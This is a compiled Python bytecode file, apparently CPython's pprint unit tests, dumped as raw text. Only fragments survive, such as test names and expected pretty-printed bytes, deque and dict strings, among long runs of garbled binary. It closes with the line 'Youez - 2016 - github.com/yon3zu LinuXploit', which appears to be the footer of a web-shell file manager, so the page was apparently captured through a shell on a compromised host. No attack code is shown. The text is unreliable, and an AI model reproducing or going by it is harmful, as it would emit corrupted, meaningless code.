/�0����	
��������T�B�H�M��4��
/s
� B	�Bc�N�SnSnS/U-n[US-
5HnU/nM [US-S-USU--S-
5Hdn[R"X5SS9R5n[	[[U55nURXu5 URXuS-
5 Mf g)	Nr�r�rrer�r�Tr�)	r�r�r��
splitlines�maxrr#�assertLessEqual�
assertGreater)r�levels�numberrr��w�lines�maxwidths        r�test_compact_width� QueryTestCase.test_compact_widthcs�������
�C�&�L���v��z�"�A���A�#��v��z�A�~�v��F�
�':�Q�'>�?�A��N�N�1�t�<�G�G�I�E��3�s�E�?�+�H�� � ��-����x�Q��/�	@r
c�|�UR[R"SSS9S5 UR[R"SSS9S5 SnUR[R"USS9[U55 UR[R"US	S9S
5 UR[R"USS9S5 UR[R"US
S9S5 [	[S
55nUR[R"USS9[U55 UR[R"USS9S5 UR[R"USS9S5 UR[R"USS9S5 UR[R"SUSS.SS9S5 UR[R"SUSS.SS9S5 UR[R"U//////SS9S5 UR[R"U//////SS9S5 [SS5Hjn[R"X#S9nUR[
U5U5 [R"U/S-US9nUR[
U5U/S-5 Ml g)Nr
rer�zb''sabcdzb'abcd'�abcdefghijklmnopqrstuvwxyz�rz$(b'abcdefghijkl'
 b'mnopqrstuvwxyz')�z)(b'abcdefghijkl'
 b'mnopqrstuvwx'
 b'yz')r�=�0zD(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b'
 b'\x0c\r\x0e\x0f')� zI(b'\x00\x01\x02\x03'
 b'\x04\x05\x06\x07\x08\t\n\x0b'
 b'\x0c\r\x0e\x0f')zN(b'\x00\x01\x02\x03'
 b'\x04\x05\x06\x07'
 b'\x08\t\n\x0b'
 b'\x0c\r\x0e\x0f')r�r@�zJ{'a': 1,
 'b': b'abcdefghijkl'
      b'mnopqrstuvwx'
      b'yz',
 'c': 2}r�zJ{'a': 1,
 'b': b'abcdefgh'
      b'ijklmnop'
      b'qrstuvwxyz',
 'c': 2}r'z3[[[[[[b'abcdefghijklmnop'
      b'qrstuvwxyz']]]]]]r:zS[[[[[[b'\x00\x01\x02\x03\x04\x05\x06\x07'
      b'\x08\t\n\x0b\x0c\r\x0e\x0f']]]]]]�@)r�r�r�rg�bytesr�r))r�lettersr�r�r_s     r�test_bytes_wrap�QueryTestCase.test_bytes_wraposq���������1�5�u�=��������q�9�9�E�/���������r�:�D��M�J��������r�:�=�	�	
�������r�:�=�	�	
�������r�:�=�	���b�	�"���������r�:�D��M�J��������r�:�=�	�	
�������r�:�=�	�	
�������q�9�<�	�
	
������a�g�A�(F�.0�2�4�	
�	
������a�g�A�(F�.0�2�4�	
�	
������g�Y�K�=�/�):�(;�2�F�I�	�	
������g�Y�K�=�/�):�(;�2�F�I5�	6��1�b�\�E����w�<�I����T�)�_�g�6�����y�1�}�E�B�I����T�)�_�w�i�!�m�<�	"r
c�
�UR[R"[5SS9S5 [S5nUR[R"USS9[	U55 UR[R"USS9S5 UR[R"USS9S	5 UR[R"US
S9S	5 [[S55nUR[R"USS9[	U55 UR[R"US
S9S5 UR[R"USS9S5 UR[R"USS9S5 UR[R"SUSS.SS9S5 UR[R"U/////SS9S5 UR[R"U/////SS9S5 g)Nrer�zbytearray(b'')r�r��z6bytearray(b'abcdefghijkl'
          b'mnopqrstuvwxyz')r)zDbytearray(b'abcdefghijkl'
          b'mnopqrstuvwx'
          b'yz')r'r�H�9zVbytearray(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b'
          b'\x0c\r\x0e\x0f')r:zdbytearray(b'\x00\x01\x02\x03'
          b'\x04\x05\x06\x07\x08\t\n\x0b'
          b'\x0c\r\x0e\x0f')zrbytearray(b'\x00\x01\x02\x03'
          b'\x04\x05\x06\x07'
          b'\x08\t\n\x0b'
          b'\x0c\r\x0e\x0f')r�r@r�zi{'a': 1,
 'b': bytearray(b'abcdefghijkl'
                b'mnopqrstuvwx'
                b'yz'),
 'c': 2}�%zE[[[[[bytearray(b'abcdefghijklmnop'
               b'qrstuvwxyz')]]]]]�2ze[[[[[bytearray(b'\x00\x01\x02\x03\x04\x05\x06\x07'
               b'\x08\t\n\x0b\x0c\r\x0e\x0f')]]]]])r�r�r�r�rgr�)rrr�s   r�test_bytearray_wrap�!QueryTestCase.test_bytearray_wrap�s���������	��1�=�?O�P��9�:���������r�:�D��M�J��������r�:�= �	!�	
�������r�:�=�	�	
�������r�:�=�	��E�"�I�&���������r�:�D��M�J��������r�:�=$�	%�	
�������r�:�=$�	%�	
�������q�9�<$�	%�
	
������a�g�A�(F�.0�2�4�	
�	
������W�I�;�-��(9��D�G&�	'�	
������W�I�;�-��(9��D�G>�	?r
c�^�[R"[5nUR[R
"USS9S5 SR
5n[R"[[U[R"555nUR[R
"U5S5 g)Nrer�zdefaultdict(<class 'int'>, {})rJz�defaultdict(<class 'int'>,
            {'a': 6,
             'brown': 2,
             'dog': 8,
             'fox': 3,
             'jumped': 4,
             'lazy': 7,
             'over': 5,
             'quick': 1,
             'the': 0}))
rK�defaultdictrkr�r�r�rMrrNrOrPs   r�test_default_dict�QueryTestCase.test_default_dict�sz���#�#�C�(����������3�5U�V�<�B�B�D���#�#�C��U�I�O�O�4E�)F�G���������*�
�	r
c���[R"5nUR[R"USS9S5 [R"S5nUR[R"USS9S5 g)Nrer�z	Counter()�
senselessnessr�zDCounter({'s': 6,
         'e': 4,
         'n': 2,
         'l': 1}))rK�Counterr�r�r�rAs  r�test_counter�QueryTestCase.test_counter�s[�����!����������3�[�A�����0����������4��	r
c�&�[R"5nUR[R"USS9S5 SR5n[
[U[R"555n[R"[U55nUR[R"U5S5 [R"[U5[R"U55nUR[R"U5S5 g)Nrer�zChainMap({})rJz�ChainMap({'a': 6,
          'brown': 2,
          'dog': 8,
          'fox': 3,
          'jumped': 4,
          'lazy': 7,
          'over': 5,
          'quick': 1,
          'the': 0})a�ChainMap({'a': 6,
          'brown': 2,
          'dog': 8,
          'fox': 3,
          'jumped': 4,
          'lazy': 7,
          'over': 5,
          'quick': 1,
          'the': 0},
         OrderedDict([('the', 0),
                      ('quick', 1),
                      ('brown', 2),
                      ('fox', 3),
                      ('jumped', 4),
                      ('over', 5),
                      ('a', 6),
                      ('lazy', 7),
                      ('dog', 8)])))rK�ChainMapr�r�r�rMrrrNrOrXrL)rr�rQ�itemss    r�
test_chainmap�QueryTestCase.test_chainmap�s���� � �"����������3�^�D�<�B�B�D���S��	��� 1�2�3��� � ��e��-���������*�	�
	�
� � ��e��k�.E�.E�e�.L�M���������*�'�	(r
c�l�[R"5nUR[R"USS9S5 [R"SS9nUR[R"USS9S5 SR5n[R"[
U[R"555nUR[R"U5S5 [R"[
U[R"55SS9nUR[R"U5S	5 g)
Nrer�z	deque([])r�)�maxlenzdeque([], maxlen=7)rJz�deque([('the', 0),
       ('quick', 1),
       ('brown', 2),
       ('fox', 3),
       ('jumped', 4),
       ('over', 5),
       ('a', 6),
       ('lazy', 7),
       ('dog', 8)])z�deque([('brown', 2),
       ('fox', 3),
       ('jumped', 4),
       ('over', 5),
       ('a', 6),
       ('lazy', 7),
       ('dog', 8)],
      maxlen=7))	rK�dequer�r�r�rMrrNrOrPs   r�
test_deque�QueryTestCase.test_deques����������������3�[�A����Q�'����������3�5J�K�<�B�B�D�����c�%����):�;�<���������*�	�
	�
���c�%����):�;�A�F���������*��		r
c�J�[R"5nUR[R"USS9S5 SR5n[R"[
U[R"555nUR[R"U5S5 g)Nrer�z{}rJzi{'a': 6,
 'brown': 2,
 'dog': 8,
 'fox': 3,
 'jumped': 4,
 'lazy': 7,
 'over': 5,
 'quick': 1,
 'the': 0})	rK�UserDictr�r�r�rMrrNrOrPs   r�test_user_dict�QueryTestCase.test_user_dict5su��� � �"����������3�T�:�<�B�B�D��� � ��U�I�O�O�,=�!>�?���������*�	�
	r
c�J�[R"5nUR[R"USS9S5 SR5n[R"[
U[R"555nUR[R"U5S5 g)Nrer�z[]rJz{[('the', 0),
 ('quick', 1),
 ('brown', 2),
 ('fox', 3),
 ('jumped', 4),
 ('over', 5),
 ('a', 6),
 ('lazy', 7),
 ('dog', 8)])	rK�UserListr�r�r�rMrrNrOrPs   r�test_user_list�QueryTestCase.test_user_listFsu��� � �"����������3�T�:�<�B�B�D��� � ��U�I�O�O�,=�!>�?���������*�	�
	r
c�>�[R"S5nUR[R"USS9S5 [R"S5nUR[R"USS9S5 UR[R"SU0SS9S5 g)	Nr�rer�r�rJr�r�zF{1: 'the quick '
    'brown fox '
    'jumped over a '
    'lazy dog'})rK�
UserStringr�r�r�rAs  r�test_user_string�QueryTestCase.test_user_stringWs����"�"�2�&����������3�T�:��"�"�#O�P����������4��	�
	
�������A��b�9��	r
)rrr|r�N)2rr	r
rr�r�r�r�r�r�rr
rr#r*r=rBrGrRrXr`rcrorur|r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r	rrrrr$r(r,r0rrr
rr�r�~s����
E�D�"1�D�B
O�!>�F>�4"E�H
J�$�L
J�4�$V��&,�63�
;�
�0�25�
[�
	!�X�

��	�;�&*>�Xm
�^
I�I�0<�(:=�x
N�
0�7=�r)?�V�$	�%(�N�<�"�"r
r�c��\rSrSrSrSrg)r�ihc��[U[5(aSU;a[U5SS4$USS4$[RRXX#U5$)Nr�rer)�
isinstancerirgr�r��format)rr��context�	maxlevels�levels     rr5�DottedPrettyPrinter.formatjsS���f�c�"�"��f�}��F�|�Q��)�)��q�!�|�#��'�'�.�.��g�%�9�
9r
rN)rr	r
rr5rrr
rr�r�hs��9r
r��__main__)/rKr�rmr�rNr�r�r��test.support�testrU�unittestrrrrr.r(r+r1r<r6r9r?rJrDrGrMrXrRrUr[�	dataclassr`rprwrzr�r�r�r��TestCaser�r�r�r�mainrr
r�<module>rAs������	��
�
�	����	�D�	�#�D�#�,�t�,�	�U�	�$�U�$�-��-�	�3�	�"�3�"�+�c�+�	��	�(��(�1�I�1�	�D�	�#�D�#�,�t�,�
���;�;��;�
���B�B��B�

���E�"���#��
�������
�������
���������
��$g�H�%�%�g�T
9�&�.�.�
9��z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit